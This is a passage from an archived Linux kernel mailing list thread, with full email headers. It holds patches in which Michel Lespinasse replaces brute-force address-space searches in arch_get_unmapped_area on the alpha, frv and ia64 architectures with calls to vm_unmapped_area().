X-Received: by 10.68.138.195 with SMTP id qs3mr561652pbb.62.1358991001070;
        Wed, 23 Jan 2013 17:30:01 -0800 (PST)
Original-Received: from studio.mtv.corp.google.com (studio.mtv.corp.google.com [172.17.131.106])
        by mx.google.com with ESMTPS id kc4sm13786285pbc.23.2013.01.23.17.29.59
        (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Wed, 23 Jan 2013 17:30:00 -0800 (PST)
X-Mailer: git-send-email 1.8.1
In-Reply-To: <1358990991-21316-1-git-send-email-walken@google.com>
X-Gm-Message-State: ALoCoQlHtAbwR3x4Qqjpt6a+fGS+Ru9VrXhfOYxPCvhsmx0mVDeiCiSglKNyJQP6+t0iweXCvj2DlPot0lCWpkhrfqIUGhaDLgjfZKMK387YPZNmJG6+YAX5VBGxZYZFMtRKEU61cmVL80XFxyRwIVcDunOsb3MgKWXNMCFpDI33V0YmWERc466eSd9RxUL5TAW89qU3OFlu
X-pstn-levels: (S:58.71703/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 1 skipped:not-enabled
X-pstn-settings: 3 (1.0000:0.0100) s cv GT3 gt2 gt1 r p m c 
X-pstn-addresses: from <walken@google.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:93860 gmane.linux.kernel:1428150 gmane.linux.ports.ppc64.devel:87330 gmane.linux.ports.parisc:4753 gmane.linux.ports.alpha:2005 gmane.linux.ports.ia64:22954
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/93860>

Update the alpha arch_get_unmapped_area function to make use of
vm_unmapped_area() instead of implementing a brute force search.

Signed-off-by: Michel Lespinasse <walken@google.com>
Acked-by: Rik van Riel <riel@redhat.com>

---
 arch/alpha/kernel/osf_sys.c |   20 +++++++++-----------
 1 files changed, 9 insertions(+), 11 deletions(-)

diff --git a/arch/alpha/kernel/osf_sys.c b/arch/alpha/kernel/osf_sys.c
index 14db93e4c8a8..ba707e23ef37 100644
--- a/arch/alpha/kernel/osf_sys.c
+++ b/arch/alpha/kernel/osf_sys.c
@@ -1298,17 +1298,15 @@ static unsigned long
 arch_get_unmapped_area_1(unsigned long addr, unsigned long len,
 		         unsigned long limit)
 {
-	struct vm_area_struct *vma = find_vma(current->mm, addr);
-
-	while (1) {
-		/* At this point:  (!vma || addr < vma->vm_end). */
-		if (limit - len < addr)
-			return -ENOMEM;
-		if (!vma || addr + len <= vma->vm_start)
-			return addr;
-		addr = vma->vm_end;
-		vma = vma->vm_next;
-	}
+	struct vm_unmapped_area_info info;
+
+	info.flags = 0;
+	info.length = len;
+	info.low_limit = addr;
+	info.high_limit = limit;
+	info.align_mask = 0;
+	info.align_offset = 0;
+	return vm_unmapped_area(&info);
 }
 
 unsigned long
-- 
1.7.7.3

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michel Lespinasse <walken@google.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ia64
Subject: [PATCH 3/8] mm: use vm_unmapped_area() on frv architecture
Date: Wed, 23 Jan 2013 17:29:46 -0800
Lines: 88
Approved: news@gmane.org
Message-ID: <1358990991-21316-4-git-send-email-walken@google.com>
References: <1358990991-21316-1-git-send-email-walken@google.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1358991014 833 80.91.229.3 (24 Jan 2013 01:30:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Jan 2013 01:30:14 +0000 (UTC)
Cc: linux-mm@kvack.org,
	linux-kernel@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>,
	linuxppc-dev@lists.ozlabs.org,
	linux-parisc@vger.kernel.org,
	linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org
To: Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	David Howells <dhowells@redhat.com>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>
Original-X-From: owner-linux-mm@kvack.org Thu Jan 24 02:30:30 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1TyBe5-0005ze-B4
	for glkm-linux-mm-2@m.gmane.org; Thu, 24 Jan 2013 02:30:25 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 8975E6B000E; Wed, 23 Jan 2013 20:30:04 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 7C2906B0010; Wed, 23 Jan 2013 20:30:04 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 452506B0011; Wed, 23 Jan 2013 20:30:04 -0500 (EST)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx155.postini.com [74.125.245.155])
	by kanga.kvack.org (Postfix) with SMTP id AEAF06B0010
	for <linux-mm@kvack.org>; Wed, 23 Jan 2013 20:30:03 -0500 (EST)
Original-Received: from mail-pa0-f46.google.com ([209.85.220.46]) (using TLSv1) by na3sys010amx155.postini.com ([74.125.244.10]) with SMTP;
	Thu, 24 Jan 2013 01:30:03 GMT
Original-Received: by mail-pa0-f46.google.com with SMTP id kp14so3750936pab.5
        for <linux-mm@kvack.org>; Wed, 23 Jan 2013 17:30:02 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references;
        bh=dBfKPX7n7lb9jyBikQVC5yCeUpFdBWUlaq9WPqlMBjw=;
        b=CpNjMGcU0vf/+Ce1ReSUHArwgvzMD/K+K3EuNonxf3jKoHfX6xf+Ju5agen156wntX
         8H6GmMlymr67YNP4yJB7HB82JvGKLxsZTJ/eyNKVoF110XF88LFFUe4GG7Htn2oWP5z3
         EH19LcX2W/8cuFEwalADgoF9cgUblHKdbxpnFK166m9l3d+KnvduQU6p+BF5kamg1mp3
         LVavOETq2dp8N+lxtkdOoRGmUcNUhhWQx6N9Myiz05U9aHpvhbCOP/Q/fzGLSL04/o8g
         vrSidOQEsVHKhom4TCJzofMyFsrNiVkXM66ZCGz3sn3jJNsUMbaoHsh4D9BXKSoibyiq
         Pxxw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references:x-gm-message-state;
        bh=dBfKPX7n7lb9jyBikQVC5yCeUpFdBWUlaq9WPqlMBjw=;
        b=NJW+8ddqvH5OzJqk1qNnDpolic+tBbrQRiOkr7Ww/BU8GYtAzthTqC8qp5o+FkIhoC
         Qrmq0Jhdmqu3m+KaNzKy7MwCXTAvG2eZNhbFST4vPm716tLETXF88YRM1vozp6pMkrn0
         FAieHSNtOuNWpjX8JZxjpFlby5Re9uwsstDxXcE9AClBdg/VjUyp7+mtN4r6ChgPD3nd
         NrXtHvqwuFuzYH8/Vzsa3NI1hicisZ7meQQwNH3/CNrsFlbVF7vqyQNOx0hkj46gtxy/
         XBT8+dVkc5nDvxWi9Z08MSKhbuLkwTLYowR/Bvxvu1EgfZMif4Ke5VerRP3YaC/JFojn
         uOkw==
X-Received: by 10.68.132.98 with SMTP id ot2mr606433pbb.39.1358991002836;
        Wed, 23 Jan 2013 17:30:02 -0800 (PST)
Original-Received: from studio.mtv.corp.google.com (studio.mtv.corp.google.com [172.17.131.106])
        by mx.google.com with ESMTPS id kc4sm13786285pbc.23.2013.01.23.17.30.01
        (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Wed, 23 Jan 2013 17:30:02 -0800 (PST)
X-Mailer: git-send-email 1.8.1
In-Reply-To: <1358990991-21316-1-git-send-email-walken@google.com>
X-Gm-Message-State: ALoCoQlOa2dG6EsYA274dut2E+Ojb8PEWVyQU30YT7/Dkc5G0jrXiQrQiq2uJVkavMbUnwNB+8eqs7G6VlmR21z6+6XfjGvSDADMeYcdPize/b+fbJmrbktN2KIux9RjrN7B3mCGTN8DJbctsjSCGp9L12kKoSAFMmNeNcPfeJjQXnEQK1dR66r3FVdlYleQDJv+BK2HEfmD
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:71.88876/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 1 skipped:not-enabled
X-pstn-settings: 3 (1.0000:0.0100) s cv GT3 gt2 gt1 r p m c 
X-pstn-addresses: from <walken@google.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:93861 gmane.linux.kernel:1428151 gmane.linux.ports.ppc64.devel:87331 gmane.linux.ports.parisc:4754 gmane.linux.ports.alpha:2006 gmane.linux.ports.ia64:22955
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/93861>

Update the frv arch_get_unmapped_area function to make use of
vm_unmapped_area() instead of implementing a brute force search.

Signed-off-by: Michel Lespinasse <walken@google.com>
Acked-by: Rik van Riel <riel@redhat.com>

---
 arch/frv/mm/elf-fdpic.c |   49 ++++++++++++++++------------------------------
 1 files changed, 17 insertions(+), 32 deletions(-)

diff --git a/arch/frv/mm/elf-fdpic.c b/arch/frv/mm/elf-fdpic.c
index 385fd30b142f..836f14707a62 100644
--- a/arch/frv/mm/elf-fdpic.c
+++ b/arch/frv/mm/elf-fdpic.c
@@ -60,7 +60,7 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr, unsi
 				     unsigned long pgoff, unsigned long flags)
 {
 	struct vm_area_struct *vma;
-	unsigned long limit;
+	struct vm_unmapped_area_info info;
 
 	if (len > TASK_SIZE)
 		return -ENOMEM;
@@ -79,39 +79,24 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr, unsi
 	}
 
 	/* search between the bottom of user VM and the stack grow area */
-	addr = PAGE_SIZE;
-	limit = (current->mm->start_stack - 0x00200000);
-	if (addr + len <= limit) {
-		limit -= len;
-
-		if (addr <= limit) {
-			vma = find_vma(current->mm, PAGE_SIZE);
-			for (; vma; vma = vma->vm_next) {
-				if (addr > limit)
-					break;
-				if (addr + len <= vma->vm_start)
-					goto success;
-				addr = vma->vm_end;
-			}
-		}
-	}
+	info.flags = 0;
+	info.length = len;
+	info.low_limit = PAGE_SIZE;
+	info.high_limit = (current->mm->start_stack - 0x00200000);
+	info.align_mask = 0;
+	info.align_offset = 0;
+	addr = vm_unmapped_area(&info);
+	if (!(addr & ~PAGE_MASK))
+		goto success;
+	VM_BUG_ON(addr != -ENOMEM);
 
 	/* search from just above the WorkRAM area to the top of memory */
-	addr = PAGE_ALIGN(0x80000000);
-	limit = TASK_SIZE - len;
-	if (addr <= limit) {
-		vma = find_vma(current->mm, addr);
-		for (; vma; vma = vma->vm_next) {
-			if (addr > limit)
-				break;
-			if (addr + len <= vma->vm_start)
-				goto success;
-			addr = vma->vm_end;
-		}
-
-		if (!vma && addr <= limit)
-			goto success;
-	}
+	info.low_limit = PAGE_ALIGN(0x80000000);
+	info.high_limit = TASK_SIZE;
+	addr = vm_unmapped_area(&info);
+	if (!(addr & ~PAGE_MASK))
+		goto success;
+	VM_BUG_ON(addr != -ENOMEM);
 
 #if 0
 	printk("[area] l=%lx (ENOMEM) f='%s'\n",
-- 
1.7.7.3

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michel Lespinasse <walken@google.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ia64
Subject: [PATCH 4/8] mm: use vm_unmapped_area() on ia64 architecture
Date: Wed, 23 Jan 2013 17:29:47 -0800
Lines: 82
Approved: news@gmane.org
Message-ID: <1358990991-21316-5-git-send-email-walken@google.com>
References: <1358990991-21316-1-git-send-email-walken@google.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1358991015 837 80.91.229.3 (24 Jan 2013 01:30:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Jan 2013 01:30:15 +0000 (UTC)
Cc: linux-mm@kvack.org,
	linux-kernel@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>,
	linuxppc-dev@lists.ozlabs.org,
	linux-parisc@vger.kernel.org,
	linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org
To: Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	David Howells <dhowells@redhat.com>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>
Original-X-From: owner-linux-mm@kvack.org Thu Jan 24 02:30:30 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1TyBe8-00061I-MN
	for glkm-linux-mm-2@m.gmane.org; Thu, 24 Jan 2013 02:30:28 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 455CE6B0010; Wed, 23 Jan 2013 20:30:06 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 35D2D6B0011; Wed, 23 Jan 2013 20:30:06 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id F18EA6B0012; Wed, 23 Jan 2013 20:30:05 -0500 (EST)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx203.postini.com [74.125.245.203])
	by kanga.kvack.org (Postfix) with SMTP id 6D8066B0010
	for <linux-mm@kvack.org>; Wed, 23 Jan 2013 20:30:05 -0500 (EST)
Original-Received: from mail-pa0-f42.google.com ([209.85.220.42]) (using TLSv1) by na3sys010amx203.postini.com ([74.125.244.10]) with SMTP;
	Thu, 24 Jan 2013 01:30:05 GMT
Original-Received: by mail-pa0-f42.google.com with SMTP id rl6so5188065pac.1
        for <linux-mm@kvack.org>; Wed, 23 Jan 2013 17:30:04 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references;
        bh=5L+q0Y9KISfowVv0lJzr70QDTropEW1M4GnG3qLW9Lk=;
        b=ejBEz/Jp9jwrVR+q2Xqp+/gcb3yxUa8FFifhDrv9LehV/kB1GWLEfCAqxPgNw1rbRO
         AStMhpuUz4x56ZajJRag1jPGkcWJndbB6VRE3UPU2NXze8OIPMoYrHaCHrd51RJisb+X
         7vfINceJiqR1eHVXgShcs1W3Hn4SdArJTp5/6sGxG14fVREc6DJbJrPYXePnc5rOW8Hn
         cRres5ieTE413p+Z6pgMAzaMC993zgKss5EvqLtsQ/xOnTugOG+0PTNjfon2qaz0Daoc
         +1CAyfcAWRjTGupNOLZAgioMkIytholw5WkVsw00nOd8JFBo19hAxHDMwnNW6lzwDrgv
         BEew==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references:x-gm-message-state;
        bh=5L+q0Y9KISfowVv0lJzr70QDTropEW1M4GnG3qLW9Lk=;
        b=R95Rw0GfKhwTdC/MpcSFR0VNRt5bt+Xe+vHh3BRNYd5YbqsKge+ouD4wMbbLgWJ8lK
         iF6D6P3qQ3iSzb0qWDUQOzeW1Q5jlMXnyCf8I0IwMB/MFlz1S5RrL/82XOD5kJJUOJdt
         3JEPHZajsZioE4m2CTWmFNLUV6RT96qCmB0gGEUSpXrQ7CGHiuTt0K5PvckigIbcGPZl
         nRxBT2TjHN5Y96bB3DWnXMrhJzY2KOePt82Lkt3FfERq5Gh4ZUzg35c3uNHwKcLQa26f
         ZODtMr10Tq+p0DZ50+7+Ft2fesCNS45cgdOBPOpOswIYedSQvu4xVgNw4LMeqvFXDqJd
         CMPQ==
X-Received: by 10.66.79.97 with SMTP id i1mr504350pax.47.1358991004574;
        Wed, 23 Jan 2013 17:30:04 -0800 (PST)
Original-Received: from studio.mtv.corp.google.com (studio.mtv.corp.google.com [172.17.131.106])
        by mx.google.com with ESMTPS id kc4sm13786285pbc.23.2013.01.23.17.30.02
        (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Wed, 23 Jan 2013 17:30:03 -0800 (PST)
X-Mailer: git-send-email 1.8.1
In-Reply-To: <1358990991-21316-1-git-send-email-walken@google.com>
X-Gm-Message-State: ALoCoQnmBTFewpaZUdBvw1BkYH1uhWUuVQBSwc63N51lvx/ejh4l3YfZLtP6WyApzQ24JV7GIxzaPVqqei/6hBYpiFtxVfKvxmBkKPQclI8Q2ha24moSnHk3QBDSIqqzcEmCgm4hQFSPHoAsMNsq7/RemZiJpdv25UdiJ2xcc+S5mde6ToKFNuccPc3AeolAt5E92b4SEpJg
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:67.38323/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 1 skipped:not-enabled
X-pstn-settings: 3 (1.0000:0.0100) s cv GT3 gt2 gt1 r p m c 
X-pstn-addresses: from <walken@google.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:93862 gmane.linux.kernel:1428152 gmane.linux.ports.ppc64.devel:87332 gmane.linux.ports.parisc:4755 gmane.linux.ports.alpha:2007 gmane.linux.ports.ia64:22956
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/93862>

Update the ia64 arch_get_unmapped_area function to make use of
vm_unmapped_area() instead of implementing a brute force search.

Signed-off-by: Michel Lespinasse <walken@google.com>
Acked-by: Rik van Riel <riel@redhat.com>

---
 arch/ia64/kernel/sys_ia64.c |   37 ++++++++++++-------------------------
 1 files changed, 12 insertions(+), 25 deletions(-)

diff --git a/arch/ia64/kernel/sys_ia64.c b/arch/ia64/kernel/sys_ia64.c
index d9439ef2f661..41e33f84c185 100644
--- a/arch/ia64/kernel/sys_ia64.c
+++ b/arch/ia64/kernel/sys_ia64.c
@@ -25,9 +25,9 @@ arch_get_unmapped_area (struct file *filp, unsigned long addr, unsigned long len
 			unsigned long pgoff, unsigned long flags)
 {
 	long map_shared = (flags & MAP_SHARED);
-	unsigned long start_addr, align_mask = PAGE_SIZE - 1;
+	unsigned long align_mask = 0;
 	struct mm_struct *mm = current->mm;
-	struct vm_area_struct *vma;
+	struct vm_unmapped_area_info info;
 
 	if (len > RGN_MAP_LIMIT)
 		return -ENOMEM;
@@ -44,7 +44,7 @@ arch_get_unmapped_area (struct file *filp, unsigned long addr, unsigned long len
 		addr = 0;
 #endif
 	if (!addr)
-		addr = mm->free_area_cache;
+		addr = TASK_UNMAPPED_BASE;
 
 	if (map_shared && (TASK_SIZE > 0xfffffffful))
 		/*
@@ -53,28 +53,15 @@ arch_get_unmapped_area (struct file *filp, unsigned long addr, unsigned long len
 		 * tasks, we prefer to avoid exhausting the address space too quickly by
 		 * limiting alignment to a single page.
 		 */
-		align_mask = SHMLBA - 1;
-
-  full_search:
-	start_addr = addr = (addr + align_mask) & ~align_mask;
-
-	for (vma = find_vma(mm, addr); ; vma = vma->vm_next) {
-		/* At this point:  (!vma || addr < vma->vm_end). */
-		if (TASK_SIZE - len < addr || RGN_MAP_LIMIT - len < REGION_OFFSET(addr)) {
-			if (start_addr != TASK_UNMAPPED_BASE) {
-				/* Start a new search --- just in case we missed some holes.  */
-				addr = TASK_UNMAPPED_BASE;
-				goto full_search;
-			}
-			return -ENOMEM;
-		}
-		if (!vma || addr + len <= vma->vm_start) {
-			/* Remember the address where we stopped this search:  */
-			mm->free_area_cache = addr + len;
-			return addr;
-		}
-		addr = (vma->vm_end + align_mask) & ~align_mask;
-	}
+		align_mask = PAGE_MASK & (SHMLBA - 1);
+
+	info.flags = 0;
+	info.length = len;
+	info.low_limit = addr;
+	info.high_limit = TASK_SIZE;
+	info.align_mask = align_mask;
+	info.align_offset = 0;
+	return vm_unmapped_area(&info);
 }
 
 asmlinkage long
-- 
1.7.7.3

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michel Lespinasse <walken@google.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ia64
Subject: [PATCH 5/8] mm: use vm_unmapped_area() in hugetlbfs on ia64 architecture
Date: Wed, 23 Jan 2013 17:29:48 -0800
Lines: 57
Approved: news@gmane.org
Message-ID: <1358990991-21316-6-git-send-email-walken@google.com>
References: <1358990991-21316-1-git-send-email-walken@google.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1358991016 857 80.91.229.3 (24 Jan 2013 01:30:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Jan 2013 01:30:16 +0000 (UTC)
Cc: linux-mm@kvack.org,
	linux-kernel@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>,
	linuxppc-dev@lists.ozlabs.org,
	linux-parisc@vger.kernel.org,
	linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org
To: Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	David Howells <dhowells@redhat.com>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>
Original-X-From: owner-linux-mm@kvack.org Thu Jan 24 02:30:32 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1TyBeB-00063X-Sj
	for glkm-linux-mm-2@m.gmane.org; Thu, 24 Jan 2013 02:30:32 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id B8D436B0011; Wed, 23 Jan 2013 20:30:07 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id AF4416B0012; Wed, 23 Jan 2013 20:30:07 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 8D3086B0022; Wed, 23 Jan 2013 20:30:07 -0500 (EST)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx139.postini.com [74.125.245.139])
	by kanga.kvack.org (Postfix) with SMTP id 08EF86B0011
	for <linux-mm@kvack.org>; Wed, 23 Jan 2013 20:30:06 -0500 (EST)
Original-Received: from mail-pa0-f46.google.com ([209.85.220.46]) (using TLSv1) by na3sys010amx139.postini.com ([74.125.244.10]) with SMTP;
	Thu, 24 Jan 2013 01:30:07 GMT
Original-Received: by mail-pa0-f46.google.com with SMTP id kp14so3751658pab.19
        for <linux-mm@kvack.org>; Wed, 23 Jan 2013 17:30:06 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references;
        bh=mV+euVge+YB1j7tjHbw6tjUIz/7HkR3ee09V7QzW9Uc=;
        b=AEailyxWAzT/rUXrtJVoZrzTzNe1c19i6BXYtxWa/ZAqFfyWkAQyu61koKkwfA/IXg
         9fBLVhcoUAOBLYfccSvC0+ZXtkd9vQMwZaLEkhKoSokS24iIrD3VsJP2DqwZKv9BoYJX
         vezXkHtglRfSQbLf8NzAx/0OB8Bm2XpmNKaKcBb+PCzlJ2d9AuZiynXbWY83rvggEjCb
         QPD/C7QNE6HP5MblSzvQatbDhkU1MWcy7oi/O2pt24tME9CeJnrRVuQ0He/mtn6P+CLX
         yOzd97oW4W4eaRFVBtMSHVuAfJ0dk733WB0ieOndxs4I0W6+zzpLDraHQPSlUuuqQk2h
         TvWw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references:x-gm-message-state;
        bh=mV+euVge+YB1j7tjHbw6tjUIz/7HkR3ee09V7QzW9Uc=;
        b=i2rgsWR5tBK6qD+TYG+t46IeSJ1IAfeFOaSiVIg9qeJga8DwgFikAsz+sohKz037eY
         BedlYSdnXmGpip+zOHYn9RXQnxX6s7VmXukjgHlhnNNJDW014bPZKg9QlkuQ6yUchD+k
         2kKXhqJYKhFp+l00ProyMx3n95Z9A3NmNJraMlWaQFvH2WgNthlYGj++Lsybd4ysz4YQ
         Hrrz5TLIzPBsPg92ff/Mopk0fEz1TtspnxN9NK/dc1dqgV06LrpYLymEmIvAghT/fPMX
         eqBRM0U4gJMJXue04UKr3dG0+7m2hs/c2Vrq++O3xZKDXT/vBhA9ta7S3vIu8B++VquG
         e96w==
X-Received: by 10.68.234.36 with SMTP id ub4mr555069pbc.68.1358991006209;
        Wed, 23 Jan 2013 17:30:06 -0800 (PST)
Original-Received: from studio.mtv.corp.google.com (studio.mtv.corp.google.com [172.17.131.106])
        by mx.google.com with ESMTPS id kc4sm13786285pbc.23.2013.01.23.17.30.04
        (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Wed, 23 Jan 2013 17:30:05 -0800 (PST)
X-Mailer: git-send-email 1.8.1
In-Reply-To: <1358990991-21316-1-git-send-email-walken@google.com>
X-Gm-Message-State: ALoCoQlDEziWQ0WU5bljyifU0wJB+XCfci0Nha8orQkv56B7aZqImRlH1odtFVxUtMR0pbOFDNzJgRvnzgdScvD2Vm/ViYnLFOcTK7n41P8KMrlRh/9oFS6sO3Sk4ERqvdK1mRfLVN/9waDwIoSErYSKu8j/6fu6hLmo5uqxTL/R7gWjLU9XTX5CzfQqRbpg9iwJl1OnhKis
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:64.14996/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 1 skipped:not-enabled
X-pstn-settings: 3 (1.0000:0.0100) s cv GT3 gt2 gt1 r p m c 
X-pstn-addresses: from <walken@google.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
